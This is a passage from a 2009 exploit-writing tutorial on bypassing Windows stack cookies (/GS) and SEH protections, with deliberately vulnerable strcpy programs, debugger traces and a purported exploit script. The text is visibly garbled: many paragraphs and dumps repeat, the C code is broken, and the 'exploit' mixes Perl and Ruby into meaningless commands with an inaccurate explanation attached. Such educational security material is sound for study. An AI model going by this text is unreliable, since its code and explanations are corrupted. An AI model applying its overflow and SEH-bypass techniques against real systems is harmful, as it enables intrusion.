**Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR**

Peter Van Eeckhoutte · Monday, September 21st, 2009

**Introduction**

In all previous tutorials in this Exploit writing tutorial series, we have looked at building exploits that would work on Windows XP / 2003 server.

The success of all of these exploits (whether they are based on direct ret overwrite or exception handler structure overwrites) are based on the fact that a reliable return address or popnop/pushret address must be found, making the application jump to your shellcode. In all of these cases, we were able to find a more or less reliable address in one of the OS dll’s or application dll’s. Even after a reboot, this address stays the same, making the exploit work reliably.

Fortunately for the zillions Windows end-users out there, a number of protection mechanisms have been built-in into the Windows Operating systems.

- Stack cookies (/GS Switch cookie)
- SafeSeh (/SafeSeh compiler switch)
- Data Execution Prevention (DEP) (software and hardware based)
- Address Space Layout Randomization (ASLR)

**Stack cookie /GS protection**

The /GS switch is a compiler option that will add some code to function’s prologue and epilogue code in order to prevent successful abuse of typical stack based (string buffer) overflows.

When an application starts, a program-wide master cookie (4 bytes (dword), unsigned int) is calculated (pseudo-random number) and saved in the .data section of the loaded module. In the function prologue, this program-wide master cookie is copied to the stack, right before the saved EBP and EIP. (between the local variables and the return addresses)

```
[buffer][cookie][saved EBP][saved EIP]
```

During the epilogue, this cookie is compared again with the program-wide master cookie. If it is different, it concludes that corruption has occurred, and the program is terminated.

In order to minimize the performance impact of the extra lines of code, the compiler will only add the stack cookie if the function contains string buffers or allocates memory on the stack using _alloca. Furthermore, the protection is only active when the buffer contains 5 bytes or more.

In a typical buffer overflow, the stack is attacked with your own data in an attempt to overwrite the saved EIP. But before your data overwrites the saved EIP, the cookie is overwritten as well, rendering the exploit useless (but it may still lead to a DoS). The function epilogue would notice that the cookie has been changed, and the application dies.

```
[buffer][cookie][saved EBP][saved EIP]
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
```

The second important protection mechanism of /GS is variable reordering. In order to prevent attackers from overwriting local variables or arguments used by the function, the compiler will rearrange the layout of the stack frame, and will put string buffers at a higher address than all other variables. So when a string buffer overflow occurs, it cannot overwrite any other local variables.


**Stack cookie /GS bypass methods**

The easiest way to overcome the stack based overflow protection mechanisms, requires you to retrieve/guess/calculate the value of the cookie (so you can overwrite the cookie with the same value in your buffer). This cookie sometimes (very rarely) is a static value... but even if it is, it may contain bad characters and you may not be able to use that value.

David Litchfield has written a paper back in 2003 on how stack protection can be bypassed using some other techniques, that don’t require the cookie to be guessed. (and more excellent work in this area has been done by Alex Soritov and Mark Dowd, and by Matt Miller.)

Anyways, David described that, if the overwritten cookie does not match with the original cookie, the code checks to see if there is a developer defined exception handler. (If not, the OS exception handler will kick in). If the hacker can overwrite an Exception Handler registration structure (next SEH + Pointer to SE Handler), AND trigger an exception before the cookie is checked, the stack based overflow could be executed (= SEH based exploit) despite the stack cookie.

After all, one of the most important limitations of /GS is that it does not protect exception handler records. At that point, the application would need to rely solely on SEH protection mechanisms (such as SafeSEH etc) to deal with these scenario’s. As explained in tutorial part 3, there are ways to overcome this safeseh issue.

In 2003 server (and later XP/Vista/7/... versions) the structured exception has been modified, making it harder to exploit this scenario in more current versions of the OS.
Exception handlers are now registered in the Load Configuration Directory, and before an Exception Handler is executed, its address is checked against the list of registered handlers. We'll talk about how to bypass this later on in this article.

**Bypass using Exception Handling**

So, we can defeat stack protection by triggering an exception before the cookie is checked during the epilogue (or we can try to overwrite other data (parameters that are pushed onto the stack to the vulnerable function), which is referenced before the cookie check is performed.), and then deal with possible SEH protection mechanisms, if any... Of course, this second technique only works if the code is written to actually reference this data. You can try to abuse this by writing beyond the end of the stack.

```
[buffer][cookie][EH record][saved ebp][saved eip][arguments ]
```

The key in this scenario is that you need to overwrite far enough, and that there is an application specific exception registered (which gets overwritten). If you can control the exception handler address (in the Exception_Registration structure), then you can try to overwrite the pointer with an address that sits outside the address range of a loaded module (but should be available in memory anyways, such as loaded modules that belong to the GS etc). Most of the modules in newer versions of the Windows OS have all been compiled with /safeseh, so this is not going to work anymore. But you can still try to find a handler in a dll that is linked without safeseh (as explained in part 3 of this tutorial series). After all, SEH records on the stack are not protected by GS... you only have to bypass SafeSEH.

As explained in part 3 of this exploit writing tutorial, this pointer needs to be overwritten with a pop pop ret instruction (so the code would land at nseh, where you can do a short jump to go to your shellcode). Alternatively (or if you cannot find a pop pop ret instruction that does not sit in the address range of a loaded module belonging to the application) you can look at ESP/EBP, find the offset from these registers to the location of nseh, and look for addresses that would do

- call dword ptr [esp+nn]
- call dword ptr [ebp+nn]
- jmp dword ptr [esp+nn]
- jmp dword ptr[ebp-nn]

Where nn is the offset from the register to the location of nseh. It's probably easier to look for a pop pop ret combination, but it should work as well. the pvefindaddr Immdbg plugin may help you finding such instructions. (pvefindaddr jseh or pvefindaddr jseh all). Furthermore, you can also use pointers to the "add esp,8 + ret" instructions. Again, pvefindaddr jseh (or pvefindaddr jseh all) will help you with this (feature added in v1.17 of pvefindaddr)

### Bypass by replacing cookie on stack and in .data section

Another technique to bypass stack cookie protection is by replacing this authoritative cookie value in the .data section of the module (which is writeable, otherwise the application would not be able to calculate a new cookie and store it at runtime), and replace the cookie in the stack with the same value. This technique is only possible if you have the ability to write anything at any location. (4 byte arbitrary write) - access violations that state something like the instruction below indicate a possible 4 byte arbitrary write:

```
mov dword ptr[reg1], reg2
```

(in order to make this work, you obviously need to be able to control the contents of reg1 and reg2). reg1 should then contain the memory location where you want to write, and reg2 should contain the value you want to write at that address.

**Bypass because not all buffers are protected**

Another exploit opportunity arises when the vulnerable code does not contains string buffers (because there will not be a stack cookie then) This is also valid for arrays of integers or pointers.

```
[buffer][cookie][EH record][saved ebp][saved eip][arguments ]
```

Example: If the "arguments" don't contain pointers or string buffers, then you may be able to overwrite these arguments and take advantage of the fact that the functions are not GS protected.

### Bypass by overwriting stack data in functions up the stack

When pointers to objects or structures are passed to functions, and these objects or structures resided on the stack of their callers (parent function), then this could lead to GS cookie bypass. (overwrite object and vtable pointer. If you point this pointer to a fake vtable, you can redirect the virtual function call and execute your evil code)

### Bypass because you can guess/calculate the cookie

Reducing the Effective Entropy of GS Cookies

### Bypass because the cookie is static

Finally, if the cookie value appears to be the same/static every time, then you can simply put this value on the stack during the overwrite.

**Stack cookie protection debugging & demonstration**

In order to demonstrate some stack cookie behaviour, we'll use a simple piece of code found at http://www.security-forums.com/viewtopic.php?p=302855#302855 (and used in part 4 of this tutorial series)

This code contains vulnerable function pr() which will overflow if more than 500 bytes are passed on to the function.


I have slightly modified the original code so it would compile under VS2008:

```
// vulnerable server.cpp : Defines the entry point for the console application.

#include "stdafx.h"
#include "stdfx.h"
#include "windows.h"
```

If you want to show your respect for my work - donate : http://www.corelan.be:8800/index.php/donate/
//load windows socket
#pragma comment(lib, "ws232.lib")

//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0

void pr(char *str)
{
    char buf[500]=" ";
    strcpy(buf,str);
}

void sError(char *str)
{
    printf("Error %s",str);
    WSACleanup();
}

int _tmain(int argc, _TCHAR* argv[])
{
    WORD sockVersion;
    WSADATA wsaData;
    int rVal;
    char Message[5000]=" ";
    char buf[200]=" ";
    u_short LocalPort;
    LocalPort = 200;

    //wsock32 initialized for usage
    sockVersion = MAKEWORD(1,1);
    WSACleanup();

    SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
    if(serverSocket == INVALID_SOCKET)
    {
        sError("Failed socket()");
        return SS_ERROR;
    }

    SOCKADDR_IN sin;
    sin.sin_family = PF_INET;
    sin.sin_port = htons(LocalPort);
    sin.sin_addr.s_addr = INADDR_ANY;

    //bind the socket
    rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
    if(rVal == SOCKET_ERROR)
    {
        sError("Failed bind()");
        WSACleanup();
        return SS_ERROR;
    }

    //get socket to listen
    rVal = listen(serverSocket, 10);
    if(rVal == SOCKET_ERROR)
    {
        sError("Failed listen()");
        WSACleanup();
        return SS_ERROR;
    }

    //wait for a client to connect
    SOCKET clientSocket;
    clientSocket = accept(serverSocket, NULL, NULL);
    if(clientSocket == INVALID_SOCKET)
    {
        sError("Failed accept()");
        WSACleanup();
        return SS_ERROR;
    }

    int bytesRecv = SOCKET_ERROR;
    while( bytesRecv == SOCKET_ERROR )
    {
        //receive the data that is being sent by the client max limit to 5000 bytes.
        bytesRecv = recv( clientSocket, Message, 5000, 0 );
        if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
        {
            printf( "\nConnection Closed.\n"
        break;
        }
Edit the vulnerable server properties

Go to C/C++, Code Generation, and set "Buffer Security Check" to No

Compile the code (debug mode).

Open the vulnerable server.exe in your favorite debugger and look at the function pr():

{8c0.9c8}: Break instruction exception - code 80000003 (first chance)
ceax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
esip=7c90120e esp=0039ffcc ebp=0039fff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c90120e cc
0:001> uf pr
*** WARNING: Unable to verify checksum for C:\Documents and Settings\peter\My Documents\Visual Studio 2008\Projects\vulnerable server\Debug\vulnerable server.exe vulnerable_server\pr\c:\documents and settings\peter\my documents\visual studio 2008\projects\vulnerable server\vulnerable server\pr.cpp @ 17:
17 00411430 55              push    ebp
17 00411431 8bec            mov     ebp,esp
17 00411433 81ecbc020000    sub     esp,2BCh
17 00411439 53              push    ebx
17 0041143a 56              push    esi
17 0041143b 57              push    edi
17 0041143c 8dbd44fdffff    lea     edi,[ebp-2BCh]
17 00411442 b9af000000      mov     ecx,0AFh
17 00411447 b8cccccccc      mov     eax,0CCCCCCCCh
17 0041144c f3ab            rep stos dword ptr es:[edi]
18 0041144e a03c574100      mov     al,byte ptr [vulnerable_server\string\0041573c]
18 00411453 888508feffff    mov     byte ptr [ebp-1F8h],al
18 00411459 68f3010000      push    1F3h
18 0041145e 6a00            push    0
18 00411460 8d8d08feffff    lea     eax,dword ptr [ebp-1F7h]
18 00411466 50              push    eax
18 00411467 e83ffcffff      call    vulnerable_server\ILT+185(_strcpy) (004110be)
18 0041146c 8952080000      mov     eax,dword ptr [ebp-1F8h]
18 00411470 54              push    edi
18 00411471 83c40c          add     eax,edi
18 00411473 50              push    eax
18 00411474 8d8d08feffff    lea     eax,dword ptr [ebp-1F8h]
18 0041147a 83ffccccff      call    vulnerable_server\ILT+185(_strcpy) (004110be)
In the function prolog, the following things happen:

- Then, cookie is stored on the stack, directly below the return address
- mov eax,dword ptr[vulnerable_server!__security_cookie (00417000)] : a copy of the cookie is fetched
- sub esp,2c0h : 704 bytes are set aside
- In the function prolog, the following things happen:
  - As you can see, the function prologue does not contain any references to a security cookie whatsoever.
  - Now rebuild the executable with the /GS flag enabled (set Buffer Security Check to “On” again) and look at the function again
In the function epilog, this happens:

- mov ecx,word ptr [ebp-4]: get stack's copy of the cookie
- xor ecx,ebp: perform the xor again
- call vulnerable_server!ITL+30(__security_check_cookie (00411023) : jump to the routine to verify the cookie

In short: a security cookie is added to the stack and is compared again before the function returns.

When you try to overflow this buffer by sending more than 500 bytes to port 200, the application will die (in the debugger, the application will go to a breakpoint - uninitialized variables are filled with 0xCC at runtime when compiling with VS2008 C++, due to RTC) and esp contains this:

We control eip at offset 508. ESP points to a part of our buffer:

Now send a 1000 character Metasploit pattern) to the server (not compiled with /GS) and watch it die:

(Without starting it yet) then the function looks like this:

When you compile the original code with lcc-win32 (which has no compiler protections, leaving the executable vulnerable at runtime), and open the executable in windbg:

uninitialized variables are filled with 0xCC at runtime when compiling with VS2008 C++, due to RTC) and esp contains this:

When you try to overflow this buffer by sending more than 500 bytes to port 200, the application will die (in the debugger, the application will go to a breakpoint - uninitialized variables are filled with 0xCC at runtime when compiling with VS2008 C++, due to RTC) and esp contains this:

The text in ESP "Stack around the variable 'buf' was corrupted" is the result of RTC check that is included in VS 2008. Disabling the Run Time Check in Visual Studio can be done by disabling compile optimizations or setting /RTCu parameter. Of course, in real life, you don’t want to disable this, as it is well effective against stack corruption.

When you compile the original code with lcc-win32 (which has no compiler protections, leaving the executable vulnerable at runtime), and open the executable in windbg (without starting it yet) then the function looks like this:

Byakugan: Control of eip at offset 508. ESP points to a part of our buffer:

We control eip at offset 508. ESP points to a part of our buffer: 

The (text in ESP "Stack around the variable 'buf' was corrupted") is the result of RTC check that is included in VS 2008. Disabling the Run Time Check in Visual Studio can be done by disabling compile optimizations or setting /RTCu parameter. Of course, in real life, you don’t want to disable this, as it is well effective against stack corruption.

When you compile the original code with lcc-win32 (which has no compiler protections, leaving the executable vulnerable at runtime), and open the executable in windbg (without starting it yet) then the function looks like this:

Byakugan: Control of ebp at offset 504. ESP points to a part of our buffer:

We control ebp at offset 504. ESP points to a part of our buffer:

Now send a 1000 character Metasploit pattern) to the server (not compiled with /GS) and watch it die:

Save the environment - don’t print this document!
Quick and dirty exploit (with jmp esp from kernel32.dll : 0x7C874413) :

```ruby
# Writing buffer overflows - Tutorial
# Peter Van Eeckhoutte
# http://www.corelan.be:8800
#
# Exploit for vulnsrv.c
#
print "--------------\n"
print " Writing Buffer Overflows\n"
print " Peter Van Eeckhoutte\n"
print " http://www.corelan.be:8800\n"
print "--------------\n"
print " Exploit for vulnsrv.c\n"
prompt "-------------------\n"
use strict;
use Socket;
my $junk = "\x90" x 500;

system 'cp -v pattern_offset.rb pattern_offset.rb';
system 'ruby pattern_offset.rb -e $junk';
system 'ruby -e $junk pattern_offset.rb';
```

The exploit uses the `pattern_offset.rb` script to generate a pattern of repeating data that will trigger a buffer overflow. The `ruby` command is used to run the script with a junk character sequence to overwrite the return address of a function. This creates a shellcode that can be executed by the target system, allowing the attacker to gain control.

This exploit is an example of how buffer overflows can be used to exploit vulnerabilities in software. However, it is important to note that exploiting such vulnerabilities is illegal without the proper permission and is a violation of computer ethics. Always ensure you have the right to access and modify the system you are targeting.
Open the vulnerable server (with gs) again in the debugger, and before letting it run, set a breakpoint on the security_check_cookie:

application dies, but no working exploit.

Ok, that works. Plain and simple, but the exploit only works because there is no /GS protection.

Now try the same against the vulnerable server that was compiled with /GS:

Ok, that works. Plain and simple, but the exploit only works because there is no /GS protection.
Restart the vulnerable server, run the perl code again, and look at the cookie once more (to verify that it has changed):

Because we have overwritten parts of the stack (including the GS cookie), the cookie comparison fails, and a FastSystemCallRet is called.

What exactly happens when the buffer/stack is subject to an overflow? Let's see by sending exactly 512 A's to the vulnerable server (example code):

0:000> g
0:000> dd 0x00403000
00000000 ef793df6
004012dd 3b0d00304000 cmp ecx,dword ptr [vulnerable_server!__security_cookie (00403000)] ds:0023:00403
vulnerable_server!__security_check_cookie:
ModLoad: 71a50000 71a8f000 C:\WINDOWS\system32\mswsock.dll
ModLoad: 662b0000 66308000 C:\WINDOWS\system32\netcfg.dll
ModLoad: 77100000 775f9000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 76410000 764a1000 C:\WINDOWS\system32\USER32.dll
ModLoad: 76390000 763a0000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 71a90000 71a99000 C:\WINDOWS\system32\mswsock.dll
Breakpoint 0 hit
ef001246 ebx=00000000 ecx=4153a1d edx=0012e400 esi=00403384 eip=004012dd esp=0012e400 ebp=0012e3c4 iopl=0
nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vulnerable_server!__security_check_cookie:
004012dd 3b0d00304000 cmp ecx,dword ptr [vulnerable_server!__security_cookie (00403000)] ds:0023:00403000=ef793df6
This illustrates that code was added and a compare is executed to validate the security cookie.
The security cookie sits at 0x00403000
0:000> dd 0x00403000
00403000 ef793df6 1086c209 ffffffff ffffffff
100000001 00000000 00000000 00000000
00403020 00000000 00000000
00403030 00000000 00000000 00000000
00403040 00000000 00000000 00000000 00000000
Because we have overwritten parts of the stack (including the GS cookie), the cookie comparison fails, and a FastSystemCallRet is called.
Restart the vulnerable server, run the perl code again, and look at the cookie once more (to verify that it has changed):

{480.fcb}: Break instruction exception - code 80000003 (first chance)
eax=00251e4b ebx=7fd9000 ecx=00000002 edx=00000004 esi=00251f4d edi=00251e4b

This illustrates that code was added and a compare is executed to validate the security cookie.
The security cookie sits at 0x00403000
0:000> dd 0x00403000
00403000 ef793df6 1086c209 ffffffff ffffffff
100000001 00000000 00000000 00000000
00403020 00000000 00000000
00403030 00000000 00000000 00000000
00403040 00000000 00000000 00000000 00000000
Because we have overwritten parts of the stack (including the GS cookie), the cookie comparison fails, and a FastSystemCallRet is called.
Restart the vulnerable server, run the perl code again, and look at the cookie once more (to verify that it has changed):

{480.fcb}: Break instruction exception - code 80000003 (first chance)
eax=00251e4b ebx=7fd9000 ecx=00000002 edx=00000004 esi=00251f4d edi=00251e4b

It’s different now, which means that it is not predictable. (This is what usually happens. [MS06-040 shows an exploit that could take advantage of the fact that the cookie was static, so it is possible - in theory!])

Anyways, if you now try to overflow the buffer, the application will die: ntdll!KFastSystemCallRet

(set breakpoint on function pr, and step through the instructions until you see that the security cookie check fails before the function returns)

This should give us enough information on how the /GS compiler switch changes the code of functions to protect against stack overflows.

As explained earlier, there are a couple of techniques that would allow you to try to bypass the GS protection. Most of them rely on the fact that you can hit the exception handler structure/trigger an exception before the cookie is checked again. Other rely on being able to write to arguments,… No matter what I’ve tried, it did not work with this code (could not hit exception handler). So /GS appears to be quite effective with this code.

Stack cookie bypass demonstration 1 : Exception Handling

The vulnerable code

In order to demonstrate how the stack cookie can be bypassed, we’ll use the following simple c++ code (basicbof.cpp):

```cpp
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

void GetInput(char* str, char* out)
{
    char buffer[500];
    try
    {
        strcpy(buffer,str);
        strcpy(out,buffer);
        printf("Input received : %sn",buffer);
    }
    catch (char *strErr)
    {
        printf("Invalid input received ! \n");
        printf("Exception : %sn",strErr);
    }

    int main(int argc, char* argv[])
    {
        char buf2[128];
        GetInput(argc[1],buf2);
        return 0;
    }
```

As you can see, the GetInput function contains a vulnerable strcpy, because it does not check the length of the first parameter. Furthermore, once ‘buffer’ was filled (and possibly corrupted), it is used again (strcpy to variable ‘out’) before the function returns. But hey – the function exception handler should warn the user if malicious input was entered, right? :-)

Compile the code without /GS and without RTC.

Run the code and use a 10 character string as parameter:

```
 basicbof.exe AAAAAAAAA
Input received : AAAAAAAAA
```

Ok, that works as expected. Now run the application and feed it a string longer than 500 bytes as first parameter. Application will crash.

(If you leave out the exception handler code in the GetInput function, then the application will crash & trigger your debugger to kick in.)

We’ll use the following simple perl script to call the application and feed it 520 characters:

```
my $buffer="A" x 520;
system("C:\Program Files\Debugging Tools for Windows (x86)\windbg\" basicbof.exe \"$buffer\"\r\n");
```

Run the script:

```
(988.470): Access violation - code c0000005 (!!! second chance !!!)
eax=00000021 ebx=00000000 ecx=7855215c edx=785bb668 esi=00000001 edi=00403380
  eip=41414141 esp=0012ff7b ebp=41414141 iopl=0
  nv up ei pl nz nc
  cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000202
41414141 ??
```

=> direct ret/eip overwrite. Classic BOF.

If you try the same again, using the executable that includes the exception handling code again, the application will die. (If you prefer launching the executable from within windbg, then run windbg, open the basicbof.exe executable, and add the 500+ character string as argument)
Now you get this:

```
(b5c.964): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000000 edi=004033a8
eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
basicbof!GetInput+0xcb:
004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41
```

No direct EIP overwrite, but we have hit the exception handler with our buffer overflow:

```
0:000> !exchain
0012fee0: 41414141
Invalid exception stack at 41414141
```

How does the SE Handler work and what happens when it gets overwritten?

Before continuing, as a small exercise (using breakpoints and stepping through instructions), we'll see why and when the exception handler kicked in and what happens when you overwrite the handler.

Open the executable (no GS, but with the exception handling code) in windbg again (with the S20 A’s as argument). Before starting the application (at the breakpoint), set a breakpoint on function GetInput

```
0:000> bp GetInput
0:000> bl
0 e 00401000     0001 (0001)  0:**** basicbof!GetInput
```

Run the application, and it will break when the function is called

```
Breakpoint 0 hit
eax=0012fefe ebx=00000000 ecx=00357e0c edx=00357e1b esi=00000001 edi=004033a8
eip=00401000 esp=0012feee ebp=0012ff6c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
basicbof!GetInput:
00401000 $ 55
00401001 . BBEC MOV EBP,ESP ;ebp is now top of stack (=> saved EBP)
00401003 . DA FF PUSH -1
00401005 . 68 A01A4000 PUSH basicbof.00401AA0 ; SE handler installation
0040100A . 64:8925 000000>MOV DWORD PTR FS:[0],ESP
00401010 . 50 PUSH EAX
00401011 . 64:8925 000000>MOV DWORD PTR FS:[0],ESP
00401016 . 51 PUSH ECX
00401017 . 56 PUSH ESI
00401018 . 57 PUSH EDI
00401019 . 8D8D F8FDFFFF LEA ECX,DWORD PTR SS:[EBP-214]
00401021 . 8B85 F0FDFFFF MOV EAX,DWORD PTR SS:[EBP-210]
00401026 . 8A08 MOV CL,BYTE PTR DS:[EAX]
00401028 . 888D E7FDFFFF MOV BYTE PTR SS:[EBP-219],CL
```

If you disassemble function GetInput, this is what you will see:

```
00401000  $ 55  ; PUSH EBP ;save current value of EBP (= saved EIP)
00401001 . BBEC MOV EBP,ESP ;ebp is now top of stack (= saved EBP)
00401003 . DA FF PUSH -1
00401005 . 68 A01A4000 PUSH basicbof.00401AA0 ; SE handler installation
0040100A . 64:8925 000000>MOV DWORD PTR FS:[0],ESP
00401010 . 50 PUSH EAX
00401011 . 64:8925 000000>MOV DWORD PTR FS:[0],ESP
00401016 . 51 PUSH ECX
00401017 . 56 PUSH ESI
00401018 . 57 PUSH EDI
00401022 . B955 F8 MOV DWORD PTR SS:[EBP-10],ESP
00401025 . CIA5 00000000+MOV DWORD PTR SS:[EBP-4],0
00401028 . B845 0B MOV EAX,DWORD PTR SS:[EBP+8] ; start strcpy(buffer,str)
0040102B . B845 0B MOV EAX,DWORD PTR SS:[EBP+8] ; start strcpy(buffer,str)
0040102E . B845 0B MOV EAX,DWORD PTR SS:[EBP+8] ; start strcpy(buffer,str)
00401031 . B845 0B MOV EAX,DWORD PTR SS:[EBP+8] ; start strcpy(buffer,str)
00401036 . B845 0B MOV EAX,DWORD PTR SS:[EBP+8] ; start strcpy(buffer,str)
0040103B . B845 0B MOV EAX,DWORD PTR SS:[EBP+8] ; start strcpy(buffer,str)
0040103C . B845 0B MOV EAX,DWORD PTR SS:[EBP+8] ; start strcpy(buffer,str)
0040103D . B845 0B MOV EAX,DWORD PTR SS:[EBP+8] ; start strcpy(buffer,str)
0040103E . B845 0B MOV EAX,DWORD PTR SS:[EBP+8] ; start strcpy(buffer,str)
0040103F . B845 0B MOV EAX,DWORD PTR SS:[EBP+8] ; start strcpy(buffer,str)
```

© Peter Van Eeckhoute
Peter Van Eeckhoute's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

26/02/2010 - 11 / 48

If you want to show your respect for my work - donate : http://www.corelan.be:8800/index.php/donate/
Anyways, let’s go back to the disassembly of the GetInput function above. After putting a pointer to the arguments on the stack, the function prolog first pushes EBP to the stack, EBP will still point to the same location (but EBP becomes (and stays) the bottom of the stack). Since there are no local variables in GetInput(), nothing is pushed to the stack when the function is called. After saving EBP, ESP now points to 0x0012feec (which contains 0c0012ff7c). As soon as data is pushed onto the stack, ESP now points to 0x0012feec (which contains 0x00401179 (which is the return address to go back to the main function, right after calling GetInput()))

When the GetInput() function prolog begins, the function argument (our buffer “str”) is stored at 0x003429f3 (EDX):

```
0:000> d edx
00401003   . 68 FF
00401005   . 68 A01A4000
```

A pointer to this argument is put on the stack (so at 0x00401005, the address 0x003429f3 is stored).

The stack pointer (ESP) points to 0x0012fef0, and EBP points to 0x0012ff7c. These 2 addresses now form the new function stack frame. The memory location ESP now points to currently contains 0×00401179 (which is the return address to go back to the main function, right after calling GetInput())

```
00401003   . 6A FF
00401005   . 68 A01A4000
```

In the function prolog of GetInput(), the EBP saved will point to this stack frame. This is the stack to prepare for these variables.

When the function prolog begins, ESP now points to currently contains 0×00401179 (which is the return address to go back to the main function, right after calling GetInput())

```
00401003   . 6A FF
00401005   . 68 A01A4000
```

In the function prolog of GetInput(), the EBP saved will point to this stack frame. This is the stack to prepare for these variables.
Then, SE Handler and next SEH are pushed onto the stack:

| 0040100A  | 64:A1 00000000 MOV EAX,DWORD PTR FS:[0] |
| 00401010  | 50 PUSH EAX                               |
| 00401011  | 64:8925 000000 MOV DWORD PTR FS:[0],ESP   |

The stack now looks like this:

<table>
<thead>
<tr>
<th>Address</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>0012FECC</td>
<td>785438C5 MSVCR90.785438C5</td>
</tr>
<tr>
<td>0012Fed0</td>
<td>0012FEE8</td>
</tr>
<tr>
<td>0012FED4</td>
<td>7855C40C MSVCR90.7855C40C</td>
</tr>
<tr>
<td>0012FED8</td>
<td>00152150</td>
</tr>
<tr>
<td>0012FEDC</td>
<td>0010FEF8 &lt;— ESP points here after pushing next SEH</td>
</tr>
<tr>
<td>0012FEE0</td>
<td>0010FF0B Pointer to next SEH record</td>
</tr>
<tr>
<td>0012FEE4</td>
<td>00401AA0 SE handler</td>
</tr>
<tr>
<td>0012FEE8</td>
<td>FFFFFFFF ; end of SEH chain</td>
</tr>
<tr>
<td>0012FEEC</td>
<td>0010FF7C ; saved EBP</td>
</tr>
<tr>
<td>0012FEF0</td>
<td>00401179 ; saved EIP</td>
</tr>
<tr>
<td>0012FEF4</td>
<td>00342956 ; pointer to buffer ASCII &quot;AAAAAAAAAAAAAAAAAAAAA...&quot;</td>
</tr>
</tbody>
</table>

Before the first strcpy starts, some space is reserved on the stack.

| 00401019  | 81EC 1C020000 SUB ESP,21C 540 bytes, which is 500 (buffer) + additional space |

After this instruction, ESP points to 0x0012fc0 (which is 0x0012fe6c-21c), ebp still points to 0x0012fe0c (top of stack). Next, EBX, ESI and EDI are pushed on the stack (ESP = ESP - C (3 x 4 bytes = 12 bytes), ESP now points at 0x0012FEC4. Then, at 0x00404010c, the first strcpy starts (ESP still points to 0012fecd). Each A is taken from the memory location where buffer resides and put on the stack (one by one, loop from 0x004010d to 0x0040108).

This process continues until all 520 bytes (length of our command line argument) have been written.

The first 4 A’s were written at 0012fc4. If you add 208h (520 bytes) - 4 (the 4 bytes that are at 0012fce4), then you end up at 0012fee8, which has hit/overwritten the SE Structure. No harm done yet.

So far so good. No exception has been triggered yet (nothing has been done with the buffer yet, and we did not attempt to write anywhere that would cause an immediate exception).

Then the second strcpy (strcpy(out,buffer)) starts. Similar routine (one A per loop), and now the A’s are written on the stack starting at 0x004012fe8 (bottom of stack) still points to 0x0012fe0c, so we are now writing beyond the bottom of the stack.

---

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

26/02/2010 - 13 / 48
out is only 128 bytes (variable initially set up in main() and then passed on uninitialized to GetInput()) - this smells like trouble to me :-), so the overflow will probably occur much faster. Buffer contains a lot more bytes, so the overflow may/could/will write into an area where it does not belong, and that will hurt more this time. If this triggers and exception, we control the flow (we have already overwritten the SE structure, remember)

After putting 128 A's on the stack, the stack looks like this:

As we continue to write, we write into higher addresses (eventually even overwriting main() local vars and envp, argv, etc… all the way to the bottom of the stack):

Until we finally try to write into a location where we don’t have access to
Abusing SEH to bypass GS protection

Compile the executable again (with /GS protection) and try the same overflow again:

```
[aa8.f48]: Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a4
esp=00000000 ebp=0012feee esp=00000000 fs:000000000 gs:000000000
off GetInput: mov byte ptr [edi],al
```

If we now pass the exception to the application, and attempt will be made to go to this SE Handler.

```
Registers (FPU)
```

SE Structure was overwritten with the first strcpy, but the second strcpy triggered the exception before the function could return. The combination of both should allow us to exploit this vulnerability because stack cookies will not be checked.

If we now pass the exception to the application, and attempt will be made to go to this SE Handler.

```
If we now pass the exception to the application, and attempt will be made to go to this SE Handler.
```

Access violation. The SEH chain now looks like this:

SE Structure was overwritten with the first strcpy, but the second strcpy triggered the exception before the function could return. The combination of both should allow us to exploit this vulnerability because stack cookies will not be checked.

If we now pass the exception to the application, and attempt will be made to go to this SE Handler.

```
SE Structure was overwritten with the first strcpy, but the second strcpy triggered the exception before the function could return. The combination of both should allow us to exploit this vulnerability because stack cookies will not be checked.
```

Abusing SEH to bypass GS protection

Compile the executable again (with /GS protection) and try the same overflow again:

```
Code with exception handler:
```

```
(aab.f48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a4
esp=00000000 ebp=0012feee esp=00000000 fs:000000000 gs:000000000
off GetInput: mov byte ptr [edi],al
```

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use
Application has died again. From the disassembly above we can clearly see the security cookie being put on the stack in the GetInput function epilogue. So a classic overflow (direct RET overwrite) would not work... However we have hit the exception handler as well (the first strcpy overwrites SE Handler, remember... in our example, SE Handler was only overwritten with 2 bytes, so we probably need 2 more bytes to overwrite it entirely):

```
0:000> !exchain
